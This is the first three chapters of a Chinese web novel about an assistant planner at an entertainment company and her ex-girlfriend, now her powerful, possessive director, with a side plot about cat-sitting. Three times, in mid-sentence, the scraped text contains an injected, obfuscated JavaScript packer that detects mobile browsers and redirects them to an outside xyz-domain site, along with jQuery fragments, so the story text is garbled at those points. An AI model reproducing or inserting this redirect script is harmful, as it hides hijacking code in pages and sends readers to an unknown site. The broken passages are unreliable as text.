《渣了阴湿直属上司后》 1. 第 1 章 【小姐姐,能麻烦你今天来接一下橘子吗?】 安迟叙听见手机的震动声,忍不住暂停繁忙的工作。 看见短信内容后,她更加着急,按鼠标的手都忍不住颤抖。 这会儿距离公司规定的下班时间还有两个多小时。安迟叙的心却早已飞出这间繁忙的办公室。 她和前任分手了,结束了长达八年的纠缠不清。 一个人的房间却显得太过空旷。 约莫三个月前,安迟叙耐不住独自面对空房的冷寂,决定养一只宠物。 她怕自己照顾不好别的生命,更怕养了之后无法负责,却又不可能抛弃,身陷两难。 便找了个想要寄养宠物的学生党,期末加暑假这三个月帮她照顾她的猫。 猫是长毛金渐层,毛金灿灿的顺滑,铲屎官因此叫它橘子。 铲屎官说它性格好,粘人还不吵。对于安迟叙提出的顾虑,也写了很长一串注意事项。 安迟叙看过小猫的视频,猫没骨头似的黏在它铲屎官身上,又是蹭又是踩,糯糯的声音软到心底。 定下接它回家照顾三个月的那天起,安迟叙就一直在期待真正接到它。 今天终于要见面了。 安迟叙颤抖着手关掉误点开的界面,深吸一口气。 她承担不起早退的风险,更受不了被留下来加班的可能,必须得把工作做完。 *** 娱乐公司的助理策划岗位并不好做。 没有实权,纯打杂,要做的事琐碎繁多。 安迟叙把视频demo剪辑完成发送后,又开始整理方才会议的记录。 上午她才跑完现场通告,带着实习生,跟着她的组长。 下午赶场子回来开会,这会儿报告还得她写。 实习生妹妹下午有课,本来也不太可能留在她们燕巡娱乐,安迟叙没那个资格给她安排活儿,整理会议记录的事又回到她手里。 入职两年,她也差不多习惯这样的工作节奏了。 安迟叙想要在这座高竞争快节奏的城市留下来,必须加倍努力。 整理到末尾,安迟叙看见这次会议记录的发送名单,鼠标在中心总监的名字上稍作停顿。 晏辞微。 安迟叙所在部门的直属总监,也是安迟叙往上数几级的顶头上司。 虽不常和晏辞微打交道,但晏辞微的大名响彻整个燕巡娱乐,可谓无人不知。 “燕巡娱乐,猜猜看公司名为何带一个燕字?”安迟叙带实习生的时候,第一天就给对方讲了公司的几个禁忌。 “创始人喜欢燕子?寓意好?”实习生田茗还有大学生的懵懂,回的话把安迟叙逗笑了。 “我们公司就姓晏,日安晏。晏辞微和现任董事长关系匪浅。不要和同事在背后议论她空降的事,策划作风等等。” 安迟叙想了想,又给实习生补充了一句话。 “也不要打她的主意。”这句提醒有些私密,却并非出自安迟叙的私心。 她到岗的时候,带她组长也是这么告诫她的。 实习生只有小概率留在燕巡娱乐,因此更加危险。 每年总有那么几个仗着以后没有关系,对晏辞微眉来眼去,最后又被晏辞微丢出燕巡总部的大楼。 毕竟,晏辞微有总监的身份,空降后雷霆手段整治整个部门,成果叫不满的人都闭了嘴。 更重要的是,她有一张不输旗下艺人的脸和身段。 只冲着那张脸,谁都能想象学生时代她会有多么受欢迎。 眼角一点痣是许多人少年时代梦中最惹眼的红,一刷蝶翼睫毛勾走太多心魂罪孽深重。 田茗对安迟叙的提醒略微不满,这份尴尬在下午见到晏辞微本人时烟消云散。 “安姐,我算是知道你为什么那么提醒我了……”这会儿,田茗还在给安迟叙发消息呢,看起来有些服气,约莫是对晏辞微一眼惊鸿。 思绪被晏辞微扯成轻浮棉絮的安迟叙看见这个消息,没有回复。 她输入晏辞微的工作邮箱,把会议记录发送过去。 把所有琐事处理完,安迟叙写完工作周报,还整理好明天要做的事。 这会儿已是晚上八点,下班时间早已过去,整层楼却依旧挤满了人,和安迟叙下午收到寄养猫主消息时的情景没有区别。 她把东西藏在大衣里,拿起一包纸假装去上厕所。 而后飞快的溜向下楼的电梯。 这是她一贯的操作。她们组组长热衷于加班,更喜欢和她们一起加班。没人能在她眼皮底下“早退”。 可橘子的铲屎官九点半有事得回学校。算上通勤时间,安迟叙现在该走了。 确认组长没有跟上来后,安迟叙松了口气。 电梯数字慢慢叠加,即将到达她们策划部门所在的17楼,却没有停下。 安迟叙按着大衣里藏的包,仰头看着猩红的数字翻飞。 一直抵达顶楼23层,电梯才堪堪停下。 安迟叙的心颤了下。 那电梯再次丝滑的从23楼往下溜,流水一般通畅。 安迟叙想到了一个人。 她收回仰到沉重的头,眨过干涩的眼。 她应该走楼梯,或者换一班,甚至现在回到工位上,坐实上厕所的借口。 安迟叙抬腿准备离开,停滞的呼吸让这一动作变得很慢。 “叮”一声,电梯停稳。 来不及撤退的安迟叙侧目,对上电梯内晏辞微的脸。 晏辞微。 她认识十年的青梅,相伴八年的前任。 扬起白净的下颚,挑着目光望向她。 “……” 沉默如此刻大楼外的夜色,浓厚粘稠。 初夏的阴雨覆盖了夜空,带走爽朗的月色,将走廊一同染成雾。 电梯间内灯光忽闪一瞬,衬得晏辞微精致立体的脸如同鬼魂。 纤长的睫毛遮盖眼眸的光,晦涩成阴鸷的模样。眼角的红痣好像一抹血色。 这位总监被人喜爱的一切都模糊成反色的对立面。 她在电梯深处静默着,长久的凝视着安迟叙。 安迟叙僵硬的完成一次转身,想要离开。 整个燕巡娱乐。整个中学、大学校园,甚至认识晏辞微的人里。 唯独她安迟叙在晏辞微面前,有如此不敬的底气。 安迟叙以为,晏辞微会理解她这一秒的尴尬,放掉她这只可怜的羔羊。 晏辞微却歪了头,把惨白化作纯净的脂膏,带上些微呼吸的粉。 “不进来?”晏辞微按住了电梯的开关,好像按住了安迟叙的咽喉。 猩红的数字大概也为17层停驻、永恒。 安迟叙认命的闭上眼,转向晏辞微,迈入电梯。 她低着头。除去最初的对视,安迟叙连一个眼神都没再给晏辞微。 二人分局电梯两侧,中间仿佛隔着无形的壁垒。 两边的空气都不曾流通,安迟叙没有闻到晏辞微身上一贯的天竺葵香。 踉踉跄跄的运行震动叫电梯内的光也不明朗。 安迟叙余光稍抬,不愿投向鬼魅的另一侧,干脆放空头脑闭目养神。 手还悄然把大衣内藏的包掩盖好。 下意识的遮掩。 她不曾看向晏辞微。 晏辞微却没有一瞬不再注视她。 晏辞微的视线很轻,很柔。细雨一般似丝线,微凉。 却连绵不断。 曾经的安迟叙习惯这样的注视。 她被晏辞微注视了八年,视线在某一瞬间忽然断裂。 现在的安迟叙感受不到这股略带侵略性的注视,如同鼻炎发作的她闻不到那深邃甜腻,又带着难以拒绝的苦涩的香水。 电梯下行的速度有些太慢了。安迟叙闭上眼,连她期待了许久,不出半个小时就要见面的小猫都不曾去想。 只想电梯快点到。 …… “我记得下班时间……”晏辞微竟然开口了。 安迟叙睁开眼。她已经很久没有在如此狭小的空间内听见晏辞微的声音。 冷调的嗓音好像雪莲,有那么清透,那么靓丽。 叫她忍不住一个哆嗦。 安迟叙咬住舌头,不让自己露怯。 幸好,电梯门开了。 安迟叙没有看到底是几楼,抬脚快步走了出去。 晏辞微的目光死死的扎在她身上,随着她的步伐上下。 似乎跟随,成为匹配她的舞步,伴奏的鼓点。 晏辞微就在身后。 安迟叙听见了那不同的踢踏声。晏辞微的鞋子底很厚,踏在地面上,即便不用力,也有石竹滴水的哒哒声。 夜晚的办公楼虽喧嚣,晏辞微的步伐依旧那样响亮,震得好像安迟叙的鼓膜,逐渐取代她的听力。 安迟叙没有回头。 她踏出大门,加重呼吸,把沉寂到只剩晏辞微的世界重新变得喧嚣。 身后,却还是缠黏着一股水鬼的气息。 阴冷感在初夏的夜里无比明显,是一团别有用心的凉意,把安迟叙的前后划分阴阳。 晏辞微已许久没有跟着她,如此恐惧叫安迟叙久违。 还好她不再有曾经的兴奋感。 走进人来人往的地铁站后,安迟叙终于没再感受到那股视线。 她回过头,当然也不会看见晏辞微。 ……说到底,晏辞微可是董事长的女儿,每天豪车司机专送上下班。怎么可能和她一起挤地铁。 安迟叙按住跳动不停的心脏,想。 也许都是她的错觉。 晏辞微,她的前任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908828|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她们经历如此难看的分手……当然不曾跟随她离开电梯,不曾亦步亦趋尾随她身后。 一切都只是她听见晏辞微的声音太紧张,把过去当作现实。 *** “麻烦你把橘子送过来了。我才下班,不好意思。”安迟叙到小区楼下时,橘子的铲屎官裴昱希已经抱着猫包等了一会儿了。 “没事没事。”裴昱希今年大二,家里似乎很有钱。她没有住宿舍,养猫也是因为寂寞。 奈何她是偷偷养的,没有告诉猫毛过敏的家里人,假期便没法把猫带回去,这才找到安迟叙,想寄养在她家。 裴昱希没有把猫包递到安迟叙手里。一副希冀的模样看着安迟叙,想要再摸橘子一会儿。 安迟叙想了想,也就带裴昱希上楼了。 “你是在娱乐公司工作?”电梯里,裴昱希跟安迟叙闲聊起来。 “算是吧。我这个岗位不怎么接触艺人。”这是安迟叙一贯对外的说辞。 她怕这个小妹妹还是个追星族,找她要签名什么的。 “这样……”裴昱希若有所思,之后却没再开口。 两个人本来也不太熟悉,安迟叙惯于沉静,也不嫌尴尬。 电梯门开后径直走向自己家门口,指纹解锁。 “橘子……”裴昱希恋恋不舍的打开猫包。 “钱我待会儿给你。”她说话的时候眼睛都没在安迟叙身上,挺专注的看着橘子。 橘子比她自在多了,真是性格好,一点不怕生。 踩在安迟叙家里地板上,傲气的竖起尾巴,到处嗅闻,没有发抖或者飞机耳,不叫也不害怕。 “行呢。给她准备的房间在这边,里面东西按你说的买好了。” 安迟叙瞧着橘子可爱,也没敢轻举妄动,先带裴昱希去看她准备的猫房。 “小姐姐很用心了。”裴昱希检查完,感叹一声。 这布置比她自己给橘子准备的房间还好。 猫砂盆用的还是自动的,猫窝都有三个,遍布角落。 小姐姐的家也蛮大的,打扫干净摆放整齐,可以见得人也仔细温柔。 她真是捡到宝了。 “记得给我小号发橘子的日常!小号待会儿推给你!” 裴昱希还得赶回去处理学生会的事,没法再和她心心念念的橘子腻歪。 “我会好好照顾它的。你路上小心。”送走裴昱希,安迟叙在猫房里找了个地方坐下。 猫房原本是客房,没什么人住。 上周安迟叙打扫的时候花了很长时间,还把空闲的床换成了猫抓盆。 如今看见小猫骄傲着在新领地转来转去,安迟叙觉得挺值。 “橘子。”安迟叙试着喊了小猫一声。 小猫刚刚抓完猫抓板,发出劈里啪啦的声音。这会儿被陌生人呼唤,没有反应,窝在猫窝里一动不动。 “……也罢,慢慢熟悉吧。”安迟叙去倒好猫粮。 裴昱希把小号推了过来,钱也付了。 安迟叙收下钱,加上那个小号。 头像有点眼熟。发送好友申请的时候,安迟叙略微出神。 *** 晏辞微返回公司,重新回到17楼。 此时已是八点十二分。离下班时间过去了两个多小时。 晏辞微走进安迟叙平日工作的办公室,瞧着几乎无人离席的办公室,眼皮一跳。 她敲了下门,声音不大,却也足够吸引人的目光。 所有加班的员工抬起头,看向她们的部门总监。 “下班。”晏辞微只两个字。 甚至算不上一句话,这只是命令而已。 她扫了一眼部门组长,抱臂离开。 员工们手忙脚乱的收拾起东西,鸦雀无声。 晏辞微沉着一颗心再次离开公司,坐上回家的车,打开平板继续处理工作。 母亲让她选一个部门,先从总监干起,日后方便接手燕巡,乃至整个集团。 晏辞微挑了最忙的部门去空降,旁人都不知道她有私心。 处理到正烦的时候,晏辞微摸向衣兜,那里躺了一只电子烟。 她打开,水果口味的香气飘入口腔。云雾吞吐,疲惫感随着脑海里的人舒缓。 安迟叙低垂的头颅印在脑海里。 深刻着,好像要把她的头脑雕出一块阴影。 她早就是了。 晏辞微出神的想着,回忆潮水般涌动。 手机在这时发出一阵颤动。 晏辞微不耐烦的打开,看见新的好友申请。 【我来发橘子】 没头没脑的好友申请。晏辞微还以为是损友又把她私人微信发给了相亲对象,差点把这个人拉黑。 直到目光触及到对方的头像。 晏辞微顿了顿手,点了通过。 2. 第 2 章 安迟叙见裴昱希小号通过了好友申请,发了一段橘子走动的视频。 【她很有活力~看起来不需要我们担心。我给她放了猫粮,还没去吃,可能不饿。】 安迟叙尽职尽责的汇报着工作。 橘子寄养在她家,她一个月能拿五千。 这也是她说裴昱希家里大概很有钱的原因。 安迟叙把照顾橘子当作了双赢的副业,自然有求必应。 她发消息的时候,橘子终于走到她身边了。 小猫当真亲人,围着她脚边嗅闻又转了几圈之后,嗷一声躺了下去,翻着肚皮对着安迟叙。 安迟叙一时间有点懵。 她第一次养猫,之前也没接触过小动物。 猫这么做,对吗? 躺在地上,背不凉吗? 肚皮朝上,不会是吃的不舒服吧? 还有最重要的一点…… 她能摸吗? 安迟叙停在原地头脑宕机了两秒,最终决定拍视频发给裴昱希。 她不敢随便摸橘子,毕竟是别人家的猫。 也怕寄养的这三个月把橘子照顾生病了。 *** 晏辞微那边收到两段视频,和几条消息。 此时她正在车上研究新加的好友的头像。 头像是一片大海。看起来账号使用者年纪不轻。 但发的消息却又是表情包又是颜文字,只有年轻人才会这样。 晏辞微暂时还不敢确认她的猜测。 这组大海图片在互联网上很火,谁把它当头像都有可能。 怎么能因为安迟叙关注过图片的摄影师,就觉得对方有可能是安迟叙呢? 晏辞微点开视频之前还在笑自己可耻。 竟然因为这么一张随处可见的头像就通过了好友申请。 她究竟多思念安迟叙? 她一颗心,整个理智都说不清。 总得为这份思念买单。 晏辞微看了一眼视频。 原来所谓“橘子”,是一只金色的长毛猫。 看来是养猫人误加到她了。不是来找她相亲的。 她的团团以前没有提过想养宠物,多遗憾,这账号大概不是安迟叙的。 只是…… 晏辞微又仔细看了一眼这只橘子。 越看越眼熟。 下车之后,晏辞微还在研究视频,走路都不利索。两分钟的路走了十分钟。 打开家门前,晏辞微忽然抬头,恍悟。 她确实见过这只猫。 在她表妹裴昱希的朋友圈里。 晏辞微打开裴昱希的朋友圈,果然发现了一模一样的猫。 金色长毛,爪子黑乎乎,背上带一条黑线,尾巴有一块缺了毛。 破案了。 她表妹要放暑假,找人寄养这猫,多半是因为表妹上学社交和私下生活也会分号,误把自己当作她的生活号推给了寄养的人。 还好不是损友来嘲笑她分手,给她推相亲对象。 晏辞微思考了两秒。 哪怕对面只有万分之一的概率是安迟叙,她都不可能放过。 晏辞微火速给自己改了头像和id。在触及到id那几个数字时略微不舍,但也决绝。 她开了个新的微信号,保存寄养人的头像和id,点开裴昱希的小号,给她发好友申请。 两分钟之后,好友申请被通过。 晏辞微把视频和问题转发过去。 大学教室里正在和学生会成员舌战的裴昱希打开手机就看见刚刚温温柔柔的小姐姐,橘子暂时的妈,给她发来消息。 【[视频][视频]它翻肚皮,病了?】 冷漠的像在梅雨季淋了三天三夜的雨。 【……】裴昱希回了一串省略号。 猫为什么翻肚皮…… 当然是因为信任,舒适,喜欢你啊! 怎么可能是因为病了!谁家好猫生病翻肚皮,当是金鱼呢! 假猫奴!裴昱希愤愤在心里吐槽,她看错人了,误以为物质给的好,寄养人就很爱猫。 她发誓要早点说服她母亲妈咪,早点把她可怜的橘子接走。 反正家里房子多,换一个没人住的就不担心过敏问题了。 *** 安迟叙没弄明白小猫为何翻肚皮,裴昱希没再回她。 后来看橘子自己翻了回去,高高兴兴吃猫粮,瞧着没痛没病的,也就没在意了。 她没关客房的门,期待小猫今晚来找她玩。 当然,安迟叙没能等到橘子巡查到她的卧室,几日睡眠不足让安迟叙累成狗,倒头就睡了。 或许是因为家里多了一只小生命,哪怕晚上意外撞见前任,安迟叙也获得一夜好眠。 夜里橘子撞开她房间门,冒冒失失的走进来,还冲着床上的陌生铲屎官叫了两声,陌生铲屎官安迟叙本人都没有察觉到。 安迟叙差点迟到。闹钟响到第三次她才终于惊醒,紧赶慢赶给橘子换了猫粮,铲了屎,对着橘子仰头期待的目光,没能摸摸它。 而后带上面包冲出了家门,去赶早会。 安迟叙很熟稔的边疾走边吃完早餐,赶到大楼,东西都没放提着电脑去楼上开会。 她们组赶到的时候,晏辞微已经坐在长桌的主位上了。 安迟叙没多看她一眼,和实习生田茗一起找了个靠后的位置坐下,看向投屏。 “安姐,今天晏总居然也在。”田茗压低了声音,近乎耳语。 为了让安迟叙听得见,她凑很近。 会议室安静,但周围喧闹。没有别人听见田茗的话。 安迟叙面色不显,给实习生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908829|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个眼神。 “不要私下议论她。”安迟叙几乎只作了嘴型。 其实如果没有那段关系,安迟叙会知道自己的反应稍微过头。 但她毕竟算晏辞微的下级,这么提醒也有合理的解释。 田茗思索了一下,给安迟叙发消息。 【晏总是不是很凶?感觉你有点怕她> 安迟叙看见这条消息险些笑出声。 凶吗? 一阵恍惚,安迟叙莫名对上晏辞微的眼,转瞬移开。 晏辞微算不上凶,相反很温和。 别看她这会儿浑身散发着冷气,一副马上要把会议室所有人骂一遍的冷脸模样。 私下里,晏辞微有些温吞,性情洒脱,和谁都能迅速处好关系。 她只是…… 相当的霸道。 会议开始了。 安迟叙低下头开始做记录,没有回田茗的话,任她误会。 “开始会议之前,我先说一个问题。”没等组长上台准备汇报新节目的筹备情况,晏辞微翘着腿开口。 她身体微微向前倾,眉眼锋锐,嘴角紧绷,眼里却无紧张,满是随意。 只一个动作就压低了会议室内的气压,叫台下人不敢喘气。 “下班时间。唐殊,你们组昨天晚上八点还在忙。是工作量太大,工作时间内做不完吗?”晏辞微语气并不咄咄逼人。 长久处在上位,使得她浸染出浑然天成的领导气质。 久握权力的人不会觉得这有多么特殊,她们天然温和,一番话却不能叫人忽视。 唐殊低下头,显然没想到晏辞微会在第二天就提到这件事。 最近有新的选秀节目要上,上一个成团的还有综艺,各种各样的剧要拍,正是繁忙的时候。不加点班怎么做得完呢? 安迟叙记录完晏辞微的话,稍感意外。 看来昨天她溜走之后,晏辞微回到了她的办公室。 ……真罕见。晏辞微几乎不会去17层,这是她们的心照不宣。但昨夜晏辞微也打破了这一点。 所以,为什么要和她说话? 这一点似乎也不重要。安迟叙只思考一瞬就把这件事在心里划去,无视了晏辞微若有若无的余光,听着晏辞微批评唐殊这个组长。 会议开了一个半小时。晏辞微平时工作更忙,很少有机会亲自参与会议。有她及时提出方针,效率提高不少。 会议结束,安迟叙整理着东西,今天还得教田茗,任务不轻,说不加班可能性不太大。 “唐殊小组记录会议的……助理策划?留一下。”晏辞微的声音在这时打破安迟叙的思考。 无数双眼睛转向安迟叙,视线的重量压在她背上,唯独晏辞微没有抬头,好像根本不认识被她留下的助理策划。 安迟叙终于聚焦瞳孔,看向晏辞微。 3. 第 3 章 晏辞微低垂着头,正在翻看几个策划组递交的方案。 以安迟叙的角度,只能看见晏辞微垂落的耳发,从缝隙窥探她专注的眉眼。 是有些居高临下的注视。安迟叙想,她也有站在高处看晏辞微的一天。 只不过在场这么多人里,大概只有她会有如此恶劣的心思,对待这位人人敬佩、畏惧的总监,光明正大空降的继承人。 安迟叙迈出步伐,从小组群体里脱出。 刚误会晏辞微很凶,会痛批人的田茗略带担忧的看着安迟叙。 安迟叙捏了下她伸过来的手腕,没有回头。 路过唐殊身边时,安迟叙还得到了唐殊的挤眉弄眼。 她想让安迟叙反映一下加班问题。真不是她有意为之,是她们策划组最近工作太多。 安迟叙全程没有回应她们的眼神,一个个目光顺着走动的风掠向安迟叙身后。 她盯住了晏辞微。 目不转睛的,凝视着晏辞微。 晏辞微在她靠近后终于给了她一个眼神,很随意的把手里的东西递到她手上。 是很正常的上下级相处,说到底安迟叙现在还只是助理策划,和打杂的差不了太多。 安迟叙却嗅到一股若有若无的天竺葵香。 一瞬间的安宁感让安迟叙烦躁。 她实在闻惯了,闻腻了这种甜苦的味道。 *** 晏辞微很自如的走在前面。 每一次都是这样。安迟叙对晏辞微的背影感到厌倦。 手里的资料并不算沉,最上面的还是唐殊前几日和她们开会商讨出的方案。 在这种场景下,多一点重量都算是负担,准会被凝视压垮。 电梯门开了。 晏辞微似乎从来都不走私人电梯。安迟叙在岗这两年时常能在大电梯里看见晏辞微。 晏辞微的心思昭然若揭,安迟叙也不曾阻止。 但独处的情况很少。这会儿是第二次。 安迟叙不明白晏辞微想做什么,就一直盯着她看。 学她。想用目光的重量压垮晏辞微的肩膀。 晏辞微带着安迟叙,就好像带着小秘书,甩着微卷的乌木发进了电梯。 而后抬手看过时间。 顺带把会议起一直干扰她的耳发顺到耳后。 她修长的手指靓丽优美,牵引安迟叙的视线。 身旁的安迟叙不再像昨夜那般疏离,共处一室连话都不愿意听,遑论眼神交流。 她的目光太过直白,钩子一样钓着晏辞微。 晏辞微总会上钩的。她转过头,对上安迟叙的眼。 安迟叙的眼神好冷啊。 像分手的那个夜晚,寒风里她只剩一件单薄的衬衫,风呼啦啦的吹开仅剩的尊严,把寒意倒灌进她的身体。 温习过无数次的疼痛感层层叠加,晏辞微被安迟叙的眼神扎得生疼。 那看陌生人的眼,看仇人的眼,看爱人的眼。 混杂在一起。 把晏辞微的心丝丝缕缕的剥夺。 她竟然觉得很爽。 晏辞微稍稍侧身,完全迎上安迟叙的眼刀。哪怕那是千刀万剐的冷眼。 晏辞微也甘之如饴。 恨比爱更长久,比无视更亲近。 多恨她一点吧。 于是晏辞微弯了眉眼,露出一个满足的笑。 她以为安迟叙会觉得恶心,别过脸呢。 她的团团一直这样,谨小慎微,脾气却很大,压抑后的爆发叫她受不住。 安迟叙只是,眨动了眼皮。 像删除键,把晏辞微的笑容抹杀。 而后继续凝视着晏辞微。 这是无声的谴责。质问晏辞微为什么要和她私联。 晏辞微勾起嘴角。 安迟叙的眼神越狠,越疼痛。昨夜的感受越深邃,越真实。 她的眼刀也可以是爱抚的手,刮得生疼也不怕。 安迟叙不会知道她经历了什么,又感受了什么的。 23层到了。 安迟叙收回了眼神,垂眸让睫毛盖住情绪,变回低微的助理,低眉顺眼的跟在总监上司身后。 晏辞微走得慢,把安迟叙压在身后。 她领着她。 好半天才终于进了办公室,五分钟的路走出一辈子的错觉。 “坐吧。”晏辞微不让安迟叙继续她的下属扮演,给她顺手倒好茶。 安迟叙望着晏辞微手里的茶水沉默。 和她客气做什么。 她们早就是陌生人了,没必要这么在意、拘谨。 安迟叙挺干脆的坐在了会客的沙发上,翘起腿,还抿了口茶。 晏辞微藏在她身后,把她一举一动都刻入脑海。 而后靠在沙发椅背上,仿佛这样算是和安迟叙背靠背。 她们的鸿沟不比沙发薄。即便如此晏辞微依旧感到一层温度。 “为什么不回消息?我好歹也算你上司。”尽管隔了很多级。 安迟叙的职位还是太低了。得想个办法让她快点升职。 那个唐殊不是会直接让位的。或者说就是因为她,安迟叙才被压着,两年了还只是助理策划。 安迟叙放下茶杯。 “噔”一声,震得晏辞微心口又是一痛。 ……团团扎出来的伤口,就算疼痛也很舒服。 晏辞微摩挲杯壁想,她大概有罪,也有病。 喜欢被她的爱人刺痛。 “一句收到,我该回复什么?”安迟叙想起昨天发送会议报告后电脑右下角的红点,有些乏味。 她们分手,却还有工作上的交集。 尽管私人联系方式早已锁在通讯录里落灰,为了不被晏辞微关注,安迟叙也更换了自己的社交账号。 公司的账号却不得不成为“好友”,每天都有信息往来。 安迟叙的声音比茶杯和桌子碰撞的声音还轻。 自言自语似的。 晏辞微知道这算她最用力的反抗了。 “嗯?”意味不明的一声,晏辞微转过身,在安迟叙身旁低头。 天竺葵的香味更浓了。安迟叙眉眼明显染上不耐。 “我是说,不好意思,晏总。昨天有点忙,没有看见。”安迟叙侧头就看见晏辞微含笑的眼,眼皮猛跳。 晏辞微失笑。 多疏离的称呼。以前不是晏总,甚至不是晏姐姐,只是姐姐二字。或者微微、贝贝、亲亲。 晏辞微就着这个姿势卷起头发。修长玉指穿在黑木间。 灰尘都变成了光点,盈盈着。 安迟叙终于装不下晏辞微的勾,别过头,没再维持她下属的身份。 晏辞微却坐在了安迟叙对面。 她还有很多私人话题想问。 最近过的怎么样?有养宠物吗?分开以后有没有更开心?恨她会让她感到畅快吗? 会议前和她说话的人是谁?为什么要凑那么近?那个人的话很让她开心吗?最近认识了很多人吗? 唐殊是不是很烦人?不能准时回家累不累?黑眼圈又重了,又失眠了吧? 晏辞微只是收起了她的嫉妒。 “冬季的那个节目,你们组的方案不错。”她看得出有些想法出自安迟叙之手。 如果能帮她铲除唐殊这个麻烦,她是不是就能升职? 就能……离自己更近了。 晏辞微的呼吸稍沉。 如果没有昨夜误加上的人,她不会再次冒险让安迟叙来她办公室的。 只是…… 她大概是最没有自制力的爱人。一点如梦似幻的可能性都能叫她失态。 晏辞微收敛目光的执拗,拨动温柔看向安迟叙。 “要确定项目负责小组的话,晏总应该和唐组长商量。” 安迟叙没接收到那份温柔一样,在公事公办的基础上多了一丝淡漠。 “也是,我就随口一说。”晏辞微把东西交给安迟叙。 “会议报告做得很好。不过,你完全可以让实习生来。” 她的团团,应该负责更重要,更有含金量的东西。 比如那个节目策划。 “好的。”安迟叙有些意外。 她以为晏辞微如此穷追不舍——连她不回邮件都能抓住不松手,哪怕只是因公——不会如此轻易放她离开。 可晏辞微好似从前体贴又靠谱的姐姐。 “早些回家,好好休息。”晏辞微要交代的事就这么点,说到底完全不用带安迟叙回办公室。 她亲手打破了早先定下的规矩。 她在试探。 安迟叙起身,规矩的谢过晏辞微。 迈出办公室门的时候,晏辞微还能看见她蹙着的眉。 门被重重的甩上。 震得晏辞微默了一分钟,才终于垂眸。 不喜欢她的香水味吗? 可是,这明明是安迟叙最喜欢的味道。 她还记得那时她买了一瓶香水回家,安迟叙和她抢着用的时候,眼里亮亮的光。 ……她的恨,其实很伤人心。 *** 晏辞微带来的影响转瞬即逝。 安迟叙坐在去现场的车上,甚至觉得,也许她已经放下了。 以后晏辞微再怎么找她都无所谓。反正她只是打个工。 家里情况那么复杂,她没有跳槽的勇气,况且除了工作强度大,这个位置待遇还不错。 想到这儿,安迟叙也就松弛下来,把会议报告丢给田茗,自己打开宣传视频的demo,看看有没有地方可以修改。 马上就要跟小爱豆见面了,安迟叙心情不错。 她,或者说她们小组负责的那个妹妹也很可爱,性格挺甜的,会喊她安姐姐。 但外形很英气,她对外的人设是安迟叙一手策划的。 有些人会在进入这个职业之后对明星祛魅。 她们对粉丝表现的每一面都是假的,背后是无数个安迟叙的刻意编造。 安迟叙反而因此对明星产生了兴趣。 圈内几个大策划的风格她很熟悉了,有时候看综艺、选秀,能认出哪些人设出自谁的手。 她好像背后的大boss,明星的灵魂雕刻师。 她掌控着对方的言行。这股感觉叫她陌生又兴奋。 “安迟叙。”唐殊在进场前叫住了她。 给她一个眼神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908830|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安迟叙点头示意,心猿意马。 唐殊是拿了她不少方案。 但总是拿她的东西,是要遭反噬的。 安迟叙已经计划好了。 “小安做事,我还是很放心的。”唐殊见安迟叙如此有眼力见,走到她身边,勾着她肩膀拍了拍。 “等学生们放暑假了,还有个好项目,到时候一起努力吧。”唐殊的意思是要照拂安迟叙。 安迟叙恰当的给了感激的笑。她知道这个侥幸做到组长,呆了很多年的中年人,只是太想往上爬,又太缺乏相关能力。 “安姐姐!”她带的小爱豆来了。 沈既白蹦蹦跳跳着走到安迟叙身边。她今年不过十六,正是会对温和姐姐们轻易产生好感的年纪。 “给,之后节目上该做,不该做的。拿去好好熟悉一下吧。”安迟叙把她写的,著了唐殊名字的策划方案交给沈既白。 “谢谢你啊,安姐姐。我知道每次这些都是你写的,只有你才会按照我的习惯调整。” 沈既白挺小声的道谢,仰视着安迟叙的眼神带着光。 “你看得出来,我就满足了。”安迟叙顺手摸过沈既白的头,同她友好一笑。 余光悄悄看着她们队的队长,全能ACE。 松绿色的头发松散绑在脑后,落眼自带光晕。 蓝色的眼是美瞳的杰作,远远看过去好像骄傲的猫,和家中绵软的橘子同款。 爱豆和爱豆不一样,队长裴落尘一看就是能走很远的准一线。她的人设策划师当然也不是安迟叙这个水平的。 好漂亮。 安迟叙不在乎对方人设假不假,每天炒热度。她不是真追星,顶多算个颜控。 能看一眼也算满足了。 安迟叙看过就收回眼神。被打压了两年,她很明白什么时候该克制自己。 *** 准时下班回到家,安迟叙开门看见了热情迎接她的橘子。 “小猫。”安迟叙十分欣喜,关好门蹲下。 橘子坐在她面前,雕塑一样傲气十足,像个尊贵的女爵。 昂起的毛发光滑柔顺,一看就是被主人精心照料过。 “我也得好好照顾你才是。”安迟叙小心翼翼伸出手。 今天是她们相处的第二天,橘子看起来已经熟悉这个家了,安迟叙抬眸能看见好多落在地上的毛。 她应该可以试着摸一摸这只可爱的猫吧? 